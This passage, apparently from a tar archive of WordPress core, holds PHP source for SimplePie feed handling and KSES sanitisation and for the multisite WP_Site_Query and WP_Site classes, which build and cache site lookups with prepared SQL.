wp_remote_retrieve_headers( $res ); /* * SimplePie expects multiple headers to be stored as a comma-separated string, but * `wp_remote_retrieve_headers()` returns them as an array, so they need to be * converted. * * The only exception to that is the `content-type` header, which should ignore any * previous values and only use the last one. * * @see SimplePie_HTTP_Parser::new_line(). */ foreach ( $this->headers as $name => $value ) { if ( ! is_array( $value ) ) { continue; } if ( 'content-type' === $name ) { $this->headers[ $name ] = array_pop( $value ); } else { $this->headers[ $name ] = implode( ', ', $value ); } } $this->body = wp_remote_retrieve_body( $res ); $this->status_code = wp_remote_retrieve_response_code( $res ); } } else { $this->error = ''; $this->success = false; } } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-simplepie-sanitize-kses.php����������������������������������������������������������������0000644�����������������00000003357�15120262030�0013561 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Feed API: WP_SimplePie_Sanitize_KSES class * * @package WordPress * @subpackage Feed * @since 4.7.0 */ /** * Core class used to implement SimpliePie feed sanitization. * * Extends the SimplePie_Sanitize class to use KSES, because * we cannot universally count on DOMDocument being available. * * @since 3.5.0 * * @see SimplePie_Sanitize */ class WP_SimplePie_Sanitize_KSES extends SimplePie_Sanitize { /** * WordPress SimplePie sanitization using KSES. * * Sanitizes the incoming data, to ensure that it matches the type of data expected, using KSES. * * @since 3.5.0 * * @param mixed $data The data that needs to be sanitized. * @param int $type The type of data that it's supposed to be. * @param string $base Optional. The `xml:base` value to use when converting relative * URLs to absolute ones. Default empty. * @return mixed Sanitized data. */ public function sanitize( $data, $type, $base = '' ) { $data = trim( $data ); if ( $type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML ) { if ( preg_match( '/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data ) ) { $type |= SIMPLEPIE_CONSTRUCT_HTML; } else { $type |= SIMPLEPIE_CONSTRUCT_TEXT; } } if ( $type & SIMPLEPIE_CONSTRUCT_BASE64 ) { $data = base64_decode( $data ); } if ( $type & ( SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML ) ) { $data = wp_kses_post( $data ); if ( 'UTF-8' !== $this->output_encoding ) { $data = $this->registry->call( 'Misc', 'change_encoding', array( $data, 'UTF-8', $this->output_encoding ) ); } return $data; } else { return parent::sanitize( $data, $type, $base ); } } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-site-query.php�����������������������������������������������������������������������������0000644�����������������00000071174�15120262030�0011114 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Site API: WP_Site_Query class * * @package WordPress * @subpackage Sites * @since 4.6.0 */ /** * Core class used for querying sites. * * @since 4.6.0 * * @see WP_Site_Query::__construct() for accepted arguments. */ class WP_Site_Query { /** * SQL for database query. * * @since 4.6.0 * @var string */ public $request; /** * SQL query clauses. * * @since 4.6.0 * @var array */ protected $sql_clauses = array( 'select' => '', 'from' => '', 'where' => array(), 'groupby' => '', 'orderby' => '', 'limits' => '', ); /** * Metadata query container. * * @since 5.1.0 * @var WP_Meta_Query */ public $meta_query = false; /** * Metadata query clauses. * * @since 5.1.0 * @var array */ protected $meta_query_clauses; /** * Date query container. * * @since 4.6.0 * @var WP_Date_Query A date query instance. */ public $date_query = false; /** * Query vars set by the user. * * @since 4.6.0 * @var array */ public $query_vars; /** * Default values for query vars. * * @since 4.6.0 * @var array */ public $query_var_defaults; /** * List of sites located by the query. * * @since 4.6.0 * @var array */ public $sites; /** * The amount of found sites for the current query. * * @since 4.6.0 * @var int */ public $found_sites = 0; /** * The number of pages. * * @since 4.6.0 * @var int */ public $max_num_pages = 0; /** * Sets up the site query, based on the query vars passed. * * @since 4.6.0 * @since 4.8.0 Introduced the 'lang_id', 'lang__in', and 'lang__not_in' parameters. * @since 5.1.0 Introduced the 'update_site_meta_cache', 'meta_query', 'meta_key', * 'meta_value', 'meta_type' and 'meta_compare' parameters. * * @param string|array $query { * Optional. Array or query string of site query parameters. Default empty. * * @type int[] $site__in Array of site IDs to include. Default empty. * @type int[] $site__not_in Array of site IDs to exclude. Default empty. * @type bool $count Whether to return a site count (true) or array of site objects. * Default false. * @type array $date_query Date query clauses to limit sites by. See WP_Date_Query. * Default null. * @type string $fields Site fields to return. Accepts 'ids' (returns an array of site IDs) * or empty (returns an array of complete site objects). Default empty. * @type int $ID A site ID to only return that site. Default empty. * @type int $number Maximum number of sites to retrieve. Default 100. * @type int $offset Number of sites to offset the query. Used to build LIMIT clause. * Default 0. * @type bool $no_found_rows Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true. * @type string|array $orderby Site status or array of statuses. Accepts 'id', 'domain', 'path', * 'network_id', 'last_updated', 'registered', 'domain_length', * 'path_length', 'site__in' and 'network__in'. Also accepts false, * an empty array, or 'none' to disable `ORDER BY` clause. * Default 'id'. * @type string $order How to order retrieved sites. Accepts 'ASC', 'DESC'. Default 'ASC'. * @type int $network_id Limit results to those affiliated with a given network ID. If 0, * include all networks. Default 0. * @type int[] $network__in Array of network IDs to include affiliated sites for. Default empty. * @type int[] $network__not_in Array of network IDs to exclude affiliated sites for. Default empty. * @type string $domain Limit results to those affiliated with a given domain. Default empty. * @type string[] $domain__in Array of domains to include affiliated sites for. Default empty. * @type string[] $domain__not_in Array of domains to exclude affiliated sites for. Default empty. * @type string $path Limit results to those affiliated with a given path. Default empty. * @type string[] $path__in Array of paths to include affiliated sites for. Default empty. * @type string[] $path__not_in Array of paths to exclude affiliated sites for. Default empty. * @type int $public Limit results to public sites. Accepts '1' or '0'. Default empty. * @type int $archived Limit results to archived sites. Accepts '1' or '0'. Default empty. * @type int $mature Limit results to mature sites. Accepts '1' or '0'. Default empty. * @type int $spam Limit results to spam sites. Accepts '1' or '0'. Default empty. * @type int $deleted Limit results to deleted sites. Accepts '1' or '0'. Default empty. * @type int $lang_id Limit results to a language ID. Default empty. * @type string[] $lang__in Array of language IDs to include affiliated sites for. Default empty. * @type string[] $lang__not_in Array of language IDs to exclude affiliated sites for. Default empty. * @type string $search Search term(s) to retrieve matching sites for. Default empty. * @type array $search_columns Array of column names to be searched. Accepts 'domain' and 'path'. * Default empty array. * @type bool $update_site_cache Whether to prime the cache for found sites. Default true. * @type bool $update_site_meta_cache Whether to prime the metadata cache for found sites. Default true. * @type array $meta_query Meta query clauses to limit retrieved sites by. See `WP_Meta_Query`. * Default empty. * @type string $meta_key Limit sites to those matching a specific metadata key. * Can be used in conjunction with `$meta_value`. Default empty. * @type string $meta_value Limit sites to those matching a specific metadata value. * Usually used in conjunction with `$meta_key`. Default empty. * @type string $meta_type Data type that the `$meta_value` column will be CAST to for * comparisons. Default empty. * @type string $meta_compare Comparison operator to test the `$meta_value`. Default empty. * } */ public function __construct( $query = '' ) { $this->query_var_defaults = array( 'fields' => '', 'ID' => '', 'site__in' => '', 'site__not_in' => '', 'number' => 100, 'offset' => '', 'no_found_rows' => true, 'orderby' => 'id', 'order' => 'ASC', 'network_id' => 0, 'network__in' => '', 'network__not_in' => '', 'domain' => '', 'domain__in' => '', 'domain__not_in' => '', 'path' => '', 'path__in' => '', 'path__not_in' => '', 'public' => null, 'archived' => null, 'mature' => null, 'spam' => null, 'deleted' => null, 'lang_id' => null, 'lang__in' => '', 'lang__not_in' => '', 'search' => '', 'search_columns' => array(), 'count' => false, 'date_query' => null, // See WP_Date_Query. 'update_site_cache' => true, 'update_site_meta_cache' => true, 'meta_query' => '', 'meta_key' => '', 'meta_value' => '', 'meta_type' => '', 'meta_compare' => '', ); if ( ! empty( $query ) ) { $this->query( $query ); } } /** * Parses arguments passed to the site query with default query parameters. * * @since 4.6.0 * * @see WP_Site_Query::__construct() * * @param string|array $query Array or string of WP_Site_Query arguments. See WP_Site_Query::__construct(). */ public function parse_query( $query = '' ) { if ( empty( $query ) ) { $query = $this->query_vars; } $this->query_vars = wp_parse_args( $query, $this->query_var_defaults ); /** * Fires after the site query vars have been parsed. * * @since 4.6.0 * * @param WP_Site_Query $this The WP_Site_Query instance (passed by reference). */ do_action_ref_array( 'parse_site_query', array( &$this ) ); } /** * Sets up the WordPress query for retrieving sites. * * @since 4.6.0 * * @param string|array $query Array or URL query string of parameters. * @return array|int List of WP_Site objects, a list of site IDs when 'fields' is set to 'ids', * or the number of sites when 'count' is passed as a query var. */ public function query( $query ) { $this->query_vars = wp_parse_args( $query ); return $this->get_sites(); } /** * Retrieves a list of sites matching the query vars. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return array|int List of WP_Site objects, a list of site IDs when 'fields' is set to 'ids', * or the number of sites when 'count' is passed as a query var. */ public function get_sites() { global $wpdb; $this->parse_query(); // Parse meta query. $this->meta_query = new WP_Meta_Query(); $this->meta_query->parse_query_vars( $this->query_vars ); /** * Fires before sites are retrieved. * * @since 4.6.0 * * @param WP_Site_Query $this Current instance of WP_Site_Query (passed by reference). */ do_action_ref_array( 'pre_get_sites', array( &$this ) ); // Reparse query vars, in case they were modified in a 'pre_get_sites' callback. $this->meta_query->parse_query_vars( $this->query_vars ); if ( ! empty( $this->meta_query->queries ) ) { $this->meta_query_clauses = $this->meta_query->get_sql( 'blog', $wpdb->blogs, 'blog_id', $this ); } $site_data = null; /** * Filters the site data before the get_sites query takes place. * * Return a non-null value to bypass WordPress' default site queries. * * The expected return type from this filter depends on the value passed * in the request query vars: * - When `$this->query_vars['count']` is set, the filter should return * the site count as an integer. * - When `'ids' === $this->query_vars['fields']`, the filter should return * an array of site IDs. * - Otherwise the filter should return an array of WP_Site objects. * * Note that if the filter returns an array of site data, it will be assigned * to the `sites` property of the current WP_Site_Query instance. * * Filtering functions that require pagination information are encouraged to set * the `found_sites` and `max_num_pages` properties of the WP_Site_Query object, * passed to the filter by reference. If WP_Site_Query does not perform a database * query, it will not have enough information to generate these values itself. * * @since 5.2.0 * @since 5.6.0 The returned array of site data is assigned to the `sites` property * of the current WP_Site_Query instance. * * @param array|int|null $site_data Return an array of site data to short-circuit WP's site query, * the site count as an integer if `$this->query_vars['count']` is set, * or null to run the normal queries. * @param WP_Site_Query $query The WP_Site_Query instance, passed by reference. */ $site_data = apply_filters_ref_array( 'sites_pre_query', array( $site_data, &$this ) ); if ( null !== $site_data ) { if ( is_array( $site_data ) && ! $this->query_vars['count'] ) { $this->sites = $site_data; } return $site_data; } // $args can include anything. Only use the args defined in the query_var_defaults to compute the key. $_args = wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ); // Ignore the $fields argument as the queried result will be the same regardless. unset( $_args['fields'] ); $key = md5( serialize( $_args ) ); $last_changed = wp_cache_get_last_changed( 'sites' ); $cache_key = "get_sites:$key:$last_changed"; $cache_value = wp_cache_get( $cache_key, 'sites' ); if ( false === $cache_value ) { $site_ids = $this->get_site_ids(); if ( $site_ids ) { $this->set_found_sites(); } $cache_value = array( 'site_ids' => $site_ids, 'found_sites' => $this->found_sites, ); wp_cache_add( $cache_key, $cache_value, 'sites' ); } else { $site_ids = $cache_value['site_ids']; $this->found_sites = $cache_value['found_sites']; } if ( $this->found_sites && $this->query_vars['number'] ) { $this->max_num_pages = ceil( $this->found_sites / $this->query_vars['number'] ); } // If querying for a count only, there's nothing more to do. if ( $this->query_vars['count'] ) { // $site_ids is actually a count in this case. return (int) $site_ids; } $site_ids = array_map( 'intval', $site_ids ); if ( 'ids' === $this->query_vars['fields'] ) { $this->sites = $site_ids; return $this->sites; } // Prime site network caches. if ( $this->query_vars['update_site_cache'] ) { _prime_site_caches( $site_ids, $this->query_vars['update_site_meta_cache'] ); } // Fetch full site objects from the primed cache. $_sites = array(); foreach ( $site_ids as $site_id ) { $_site = get_site( $site_id ); if ( $_site ) { $_sites[] = $_site; } } /** * Filters the site query results. * * @since 4.6.0 * * @param WP_Site[] $_sites An array of WP_Site objects. * @param WP_Site_Query $query Current instance of WP_Site_Query (passed by reference). */ $_sites = apply_filters_ref_array( 'the_sites', array( $_sites, &$this ) ); // Convert to WP_Site instances. $this->sites = array_map( 'get_site', $_sites ); return $this->sites; } /** * Used internally to get a list of site IDs matching the query vars. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return int|array A single count of site IDs if a count query. An array of site IDs if a full query. */ protected function get_site_ids() { global $wpdb; $order = $this->parse_order( $this->query_vars['order'] ); // Disable ORDER BY with 'none', an empty array, or boolean false. if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) { $orderby = ''; } elseif ( ! empty( $this->query_vars['orderby'] ) ) { $ordersby = is_array( $this->query_vars['orderby'] ) ? $this->query_vars['orderby'] : preg_split( '/[,\s]/', $this->query_vars['orderby'] ); $orderby_array = array(); foreach ( $ordersby as $_key => $_value ) { if ( ! $_value ) { continue; } if ( is_int( $_key ) ) { $_orderby = $_value; $_order = $order; } else { $_orderby = $_key; $_order = $_value; } $parsed = $this->parse_orderby( $_orderby ); if ( ! $parsed ) { continue; } if ( 'site__in' === $_orderby || 'network__in' === $_orderby ) { $orderby_array[] = $parsed; continue; } $orderby_array[] = $parsed . ' ' . $this->parse_order( $_order ); } $orderby = implode( ', ', $orderby_array ); } else { $orderby = "{$wpdb->blogs}.blog_id $order"; } $number = absint( $this->query_vars['number'] ); $offset = absint( $this->query_vars['offset'] ); $limits = ''; if ( ! empty( $number ) ) { if ( $offset ) { $limits = 'LIMIT ' . $offset . ',' . $number; } else { $limits = 'LIMIT ' . $number; } } if ( $this->query_vars['count'] ) { $fields = 'COUNT(*)'; } else { $fields = "{$wpdb->blogs}.blog_id"; } // Parse site IDs for an IN clause. $site_id = absint( $this->query_vars['ID'] ); if ( ! empty( $site_id ) ) { $this->sql_clauses['where']['ID'] = $wpdb->prepare( "{$wpdb->blogs}.blog_id = %d", $site_id ); } // Parse site IDs for an IN clause. if ( ! empty( $this->query_vars['site__in'] ) ) { $this->sql_clauses['where']['site__in'] = "{$wpdb->blogs}.blog_id IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['site__in'] ) ) . ' )'; } // Parse site IDs for a NOT IN clause. if ( ! empty( $this->query_vars['site__not_in'] ) ) { $this->sql_clauses['where']['site__not_in'] = "{$wpdb->blogs}.blog_id NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['site__not_in'] ) ) . ' )'; } $network_id = absint( $this->query_vars['network_id'] ); if ( ! empty( $network_id ) ) { $this->sql_clauses['where']['network_id'] = $wpdb->prepare( 'site_id = %d', $network_id ); } // Parse site network IDs for an IN clause. if ( ! empty( $this->query_vars['network__in'] ) ) { $this->sql_clauses['where']['network__in'] = 'site_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['network__in'] ) ) . ' )'; } // Parse site network IDs for a NOT IN clause. if ( ! empty( $this->query_vars['network__not_in'] ) ) { $this->sql_clauses['where']['network__not_in'] = 'site_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['network__not_in'] ) ) . ' )'; } if ( ! empty( $this->query_vars['domain'] ) ) { $this->sql_clauses['where']['domain'] = $wpdb->prepare( 'domain = %s', $this->query_vars['domain'] ); } // Parse site domain for an IN clause. if ( is_array( $this->query_vars['domain__in'] ) ) { $this->sql_clauses['where']['domain__in'] = "domain IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__in'] ) ) . "' )"; } // Parse site domain for a NOT IN clause. if ( is_array( $this->query_vars['domain__not_in'] ) ) { $this->sql_clauses['where']['domain__not_in'] = "domain NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__not_in'] ) ) . "' )"; } if ( ! empty( $this->query_vars['path'] ) ) { $this->sql_clauses['where']['path'] = $wpdb->prepare( 'path = %s', $this->query_vars['path'] ); } // Parse site path for an IN clause. if ( is_array( $this->query_vars['path__in'] ) ) { $this->sql_clauses['where']['path__in'] = "path IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__in'] ) ) . "' )"; } // Parse site path for a NOT IN clause. if ( is_array( $this->query_vars['path__not_in'] ) ) { $this->sql_clauses['where']['path__not_in'] = "path NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__not_in'] ) ) . "' )"; } if ( is_numeric( $this->query_vars['archived'] ) ) { $archived = absint( $this->query_vars['archived'] ); $this->sql_clauses['where']['archived'] = $wpdb->prepare( 'archived = %s ', absint( $archived ) ); } if ( is_numeric( $this->query_vars['mature'] ) ) { $mature = absint( $this->query_vars['mature'] ); $this->sql_clauses['where']['mature'] = $wpdb->prepare( 'mature = %d ', $mature ); } if ( is_numeric( $this->query_vars['spam'] ) ) { $spam = absint( $this->query_vars['spam'] ); $this->sql_clauses['where']['spam'] = $wpdb->prepare( 'spam = %d ', $spam ); } if ( is_numeric( $this->query_vars['deleted'] ) ) { $deleted = absint( $this->query_vars['deleted'] ); $this->sql_clauses['where']['deleted'] = $wpdb->prepare( 'deleted = %d ', $deleted ); } if ( is_numeric( $this->query_vars['public'] ) ) { $public = absint( $this->query_vars['public'] ); $this->sql_clauses['where']['public'] = $wpdb->prepare( 'public = %d ', $public ); } if ( is_numeric( $this->query_vars['lang_id'] ) ) { $lang_id = absint( $this->query_vars['lang_id'] ); $this->sql_clauses['where']['lang_id'] = $wpdb->prepare( 'lang_id = %d ', $lang_id ); } // Parse site language IDs for an IN clause. if ( ! empty( $this->query_vars['lang__in'] ) ) { $this->sql_clauses['where']['lang__in'] = 'lang_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['lang__in'] ) ) . ' )'; } // Parse site language IDs for a NOT IN clause. if ( ! empty( $this->query_vars['lang__not_in'] ) ) { $this->sql_clauses['where']['lang__not_in'] = 'lang_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['lang__not_in'] ) ) . ' )'; } // Falsey search strings are ignored. if ( strlen( $this->query_vars['search'] ) ) { $search_columns = array(); if ( $this->query_vars['search_columns'] ) { $search_columns = array_intersect( $this->query_vars['search_columns'], array( 'domain', 'path' ) ); } if ( ! $search_columns ) { $search_columns = array( 'domain', 'path' ); } /** * Filters the columns to search in a WP_Site_Query search. * * The default columns include 'domain' and 'path. * * @since 4.6.0 * * @param string[] $search_columns Array of column names to be searched. * @param string $search Text being searched. * @param WP_Site_Query $query The current WP_Site_Query instance. */ $search_columns = apply_filters( 'site_search_columns', $search_columns, $this->query_vars['search'], $this ); $this->sql_clauses['where']['search'] = $this->get_search_sql( $this->query_vars['search'], $search_columns ); } $date_query = $this->query_vars['date_query']; if ( ! empty( $date_query ) && is_array( $date_query ) ) { $this->date_query = new WP_Date_Query( $date_query, 'registered' ); $this->sql_clauses['where']['date_query'] = preg_replace( '/^\s*AND\s*/', '', $this->date_query->get_sql() ); } $join = ''; $groupby = ''; if ( ! empty( $this->meta_query_clauses ) ) { $join .= $this->meta_query_clauses['join']; // Strip leading 'AND'. $this->sql_clauses['where']['meta_query'] = preg_replace( '/^\s*AND\s*/', '', $this->meta_query_clauses['where'] ); if ( ! $this->query_vars['count'] ) { $groupby = "{$wpdb->blogs}.blog_id"; } } $where = implode( ' AND ', $this->sql_clauses['where'] ); $pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' ); /** * Filters the site query clauses. * * @since 4.6.0 * * @param string[] $pieces An associative array of site query clauses. * @param WP_Site_Query $query Current instance of WP_Site_Query (passed by reference). */ $clauses = apply_filters_ref_array( 'sites_clauses', array( compact( $pieces ), &$this ) ); $fields = isset( $clauses['fields'] ) ? $clauses['fields'] : ''; $join = isset( $clauses['join'] ) ? $clauses['join'] : ''; $where = isset( $clauses['where'] ) ? $clauses['where'] : ''; $orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : ''; $limits = isset( $clauses['limits'] ) ? $clauses['limits'] : ''; $groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : ''; if ( $where ) { $where = 'WHERE ' . $where; } if ( $groupby ) { $groupby = 'GROUP BY ' . $groupby; } if ( $orderby ) { $orderby = "ORDER BY $orderby"; } $found_rows = ''; if ( ! $this->query_vars['no_found_rows'] ) { $found_rows = 'SQL_CALC_FOUND_ROWS'; } $this->sql_clauses['select'] = "SELECT $found_rows $fields"; $this->sql_clauses['from'] = "FROM $wpdb->blogs $join"; $this->sql_clauses['groupby'] = $groupby; $this->sql_clauses['orderby'] = $orderby; $this->sql_clauses['limits'] = $limits; $this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}"; if ( $this->query_vars['count'] ) { return (int) $wpdb->get_var( $this->request ); } $site_ids = $wpdb->get_col( $this->request ); return array_map( 'intval', $site_ids ); } /** * Populates found_sites and max_num_pages properties for the current query * if the limit clause was used. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. */ private function set_found_sites() { global $wpdb; if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) { /** * Filters the query used to retrieve found site count. * * @since 4.6.0 * * @param string $found_sites_query SQL query. Default 'SELECT FOUND_ROWS()'. * @param WP_Site_Query $site_query The `WP_Site_Query` instance. */ $found_sites_query = apply_filters( 'found_sites_query', 'SELECT FOUND_ROWS()', $this ); $this->found_sites = (int) $wpdb->get_var( $found_sites_query ); } } /** * Used internally to generate an SQL string for searching across multiple columns. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $string Search string. * @param string[] $columns Array of columns to search. * @return string Search SQL. */ protected function get_search_sql( $string, $columns ) { global $wpdb; if ( false !== strpos( $string, '*' ) ) { $like = '%' . implode( '%', array_map( array( $wpdb, 'esc_like' ), explode( '*', $string ) ) ) . '%'; } else { $like = '%' . $wpdb->esc_like( $string ) . '%'; } $searches = array(); foreach ( $columns as $column ) { $searches[] = $wpdb->prepare( "$column LIKE %s", $like ); } return '(' . implode( ' OR ', $searches ) . ')'; } /** * Parses and sanitizes 'orderby' keys passed to the site query. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby Alias for the field to order by. * @return string|false Value to used in the ORDER clause. False otherwise. */ protected function parse_orderby( $orderby ) { global $wpdb; $parsed = false; switch ( $orderby ) { case 'site__in': $site__in = implode( ',', array_map( 'absint', $this->query_vars['site__in'] ) ); $parsed = "FIELD( {$wpdb->blogs}.blog_id, $site__in )"; break; case 'network__in': $network__in = implode( ',', array_map( 'absint', $this->query_vars['network__in'] ) ); $parsed = "FIELD( {$wpdb->blogs}.site_id, $network__in )"; break; case 'domain': case 'last_updated': case 'path': case 'registered': $parsed = $orderby; break; case 'network_id': $parsed = 'site_id'; break; case 'domain_length': $parsed = 'CHAR_LENGTH(domain)'; break; case 'path_length': $parsed = 'CHAR_LENGTH(path)'; break; case 'id': $parsed = "{$wpdb->blogs}.blog_id"; break; } if ( ! empty( $parsed ) || empty( $this->meta_query_clauses ) ) { return $parsed; } $meta_clauses = $this->meta_query->get_clauses(); if ( empty( $meta_clauses ) ) { return $parsed; } $primary_meta_query = reset( $meta_clauses ); if ( ! empty( $primary_meta_query['key'] ) && $primary_meta_query['key'] === $orderby ) { $orderby = 'meta_value'; } switch ( $orderby ) { case 'meta_value': if ( ! empty( $primary_meta_query['type'] ) ) { $parsed = "CAST({$primary_meta_query['alias']}.meta_value AS {$primary_meta_query['cast']})"; } else { $parsed = "{$primary_meta_query['alias']}.meta_value"; } break; case 'meta_value_num': $parsed = "{$primary_meta_query['alias']}.meta_value+0"; break; default: if ( isset( $meta_clauses[ $orderby ] ) ) { $meta_clause = $meta_clauses[ $orderby ]; $parsed = "CAST({$meta_clause['alias']}.meta_value AS {$meta_clause['cast']})"; } } return $parsed; } /** * Parses an 'order' query variable and cast it to 'ASC' or 'DESC' as necessary. * * @since 4.6.0 * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'ASC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-site.php�����������������������������������������������������������������������������������0000644�����������������00000016404�15120262030�0007744 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Site API: WP_Site class * * @package WordPress * @subpackage Multisite * @since 4.5.0 */ /** * Core class used for interacting with a multisite site. * * This class is used during load to populate the `$current_blog` global and * setup the current site. * * @since 4.5.0 * * @property int $id * @property int $network_id * @property string $blogname * @property string $siteurl * @property int $post_count * @property string $home */ final class WP_Site { /** * Site ID. * * Named "blog" vs. "site" for legacy reasons. * * A numeric string, for compatibility reasons. * * @since 4.5.0 * @var string */ public $blog_id; /** * Domain of the site. * * @since 4.5.0 * @var string */ public $domain = ''; /** * Path of the site. * * @since 4.5.0 * @var string */ public $path = ''; /** * The ID of the site's parent network. * * Named "site" vs. "network" for legacy reasons. An individual site's "site" is * its network. * * A numeric string, for compatibility reasons. * * @since 4.5.0 * @var string */ public $site_id = '0'; /** * The date and time on which the site was created or registered. * * @since 4.5.0 * @var string Date in MySQL's datetime format. */ public $registered = '0000-00-00 00:00:00'; /** * The date and time on which site settings were last updated. * * @since 4.5.0 * @var string Date in MySQL's datetime format. */ public $last_updated = '0000-00-00 00:00:00'; /** * Whether the site should be treated as public. * * A numeric string, for compatibility reasons. * * @since 4.5.0 * @var string */ public $public = '1'; /** * Whether the site should be treated as archived. * * A numeric string, for compatibility reasons. * * @since 4.5.0 * @var string */ public $archived = '0'; /** * Whether the site should be treated as mature. * * Handling for this does not exist throughout WordPress core, but custom * implementations exist that require the property to be present. * * A numeric string, for compatibility reasons. * * @since 4.5.0 * @var string */ public $mature = '0'; /** * Whether the site should be treated as spam. * * A numeric string, for compatibility reasons. * * @since 4.5.0 * @var string */ public $spam = '0'; /** * Whether the site should be treated as deleted. * * A numeric string, for compatibility reasons. * * @since 4.5.0 * @var string */ public $deleted = '0'; /** * The language pack associated with this site. * * A numeric string, for compatibility reasons. * * @since 4.5.0 * @var string */ public $lang_id = '0'; /** * Retrieves a site from the database by its ID. * * @since 4.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $site_id The ID of the site to retrieve. * @return WP_Site|false The site's object if found. False if not. */ public static function get_instance( $site_id ) { global $wpdb; $site_id = (int) $site_id; if ( ! $site_id ) { return false; } $_site = wp_cache_get( $site_id, 'sites' ); if ( false === $_site ) { $_site = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->blogs} WHERE blog_id = %d LIMIT 1", $site_id ) ); if ( empty( $_site ) || is_wp_error( $_site ) ) { $_site = -1; } wp_cache_add( $site_id, $_site, 'sites' ); } if ( is_numeric( $_site ) ) { return false; } return new WP_Site( $_site ); } /** * Creates a new WP_Site object. * * Will populate object properties from the object provided and assign other * default properties based on that information. * * @since 4.5.0 * * @param WP_Site|object $site A site object. */ public function __construct( $site ) { foreach ( get_object_vars( $site ) as $key => $value ) { $this->$key = $value; } } /** * Converts an object to array. * * @since 4.6.0 * * @return array Object as array. */ public function to_array() { return get_object_vars( $this ); } /** * Getter. * * Allows current multisite naming conventions when getting properties. * Allows access to extended site properties. * * @since 4.6.0 * * @param string $key Property to get. * @return mixed Value of the property. Null if not available. */ public function __get( $key ) { switch ( $key ) { case 'id': return (int) $this->blog_id; case 'network_id': return (int) $this->site_id; case 'blogname': case 'siteurl': case 'post_count': case 'home': default: // Custom properties added by 'site_details' filter. if ( ! did_action( 'ms_loaded' ) ) { return null; } $details = $this->get_details(); if ( isset( $details->$key ) ) { return $details->$key; } } return null; } /** * Isset-er. * * Allows current multisite naming conventions when checking for properties. * Checks for extended site properties. * * @since 4.6.0 * * @param string $key Property to check if set. * @return bool Whether the property is set. */ public function __isset( $key ) { switch ( $key ) { case 'id': case 'network_id': return true; case 'blogname': case 'siteurl': case 'post_count': case 'home': if ( ! did_action( 'ms_loaded' ) ) { return false; } return true; default: // Custom properties added by 'site_details' filter. if ( ! did_action( 'ms_loaded' ) ) { return false; } $details = $this->get_details(); if ( isset( $details->$key ) ) { return true; } } return false; } /** * Setter. * * Allows current multisite naming conventions while setting properties. * * @since 4.6.0 * * @param string $key Property to set. * @param mixed $value Value to assign to the property. */ public function __set( $key, $value ) { switch ( $key ) { case 'id': $this->blog_id = (string) $value; break; case 'network_id': $this->site_id = (string) $value; break; default: $this->$key = $value; } } /** * Retrieves the details for this site. * * This method is used internally to lazy-load the extended properties of a site. * * @since 4.6.0 * * @see WP_Site::__get() * * @return stdClass A raw site object with all details included. */ private function get_details() { $details = wp_cache_get( $this->blog_id, 'site-details' ); if ( false === $details ) { switch_to_blog( $this->blog_id ); // Create a raw copy of the object for backward compatibility with the filter below. $details = new stdClass(); foreach ( get_object_vars( $this ) as $key => $value ) { $details->$key = $value; } $details->blogname = get_option( 'blogname' ); $details->siteurl = get_option( 'siteurl' ); $details->post_count = get_option( 'post_count' ); $details->home = get_option( 'home' ); restore_current_blog(); wp_cache_set( $this->blog_id, $details, 'site-details' ); } /** This filter is documented in wp-includes/ms-blogs.php */ $details = apply_filters_deprecated( 'blog_details', array( $details ), '4.7.0', 'site_details' ); /** * Filters a site's extended properties. * * @since 4.6.0 * * @param stdClass $details The site details. */ $details = apply_filters( 'site_details', $details ); return $details; } } 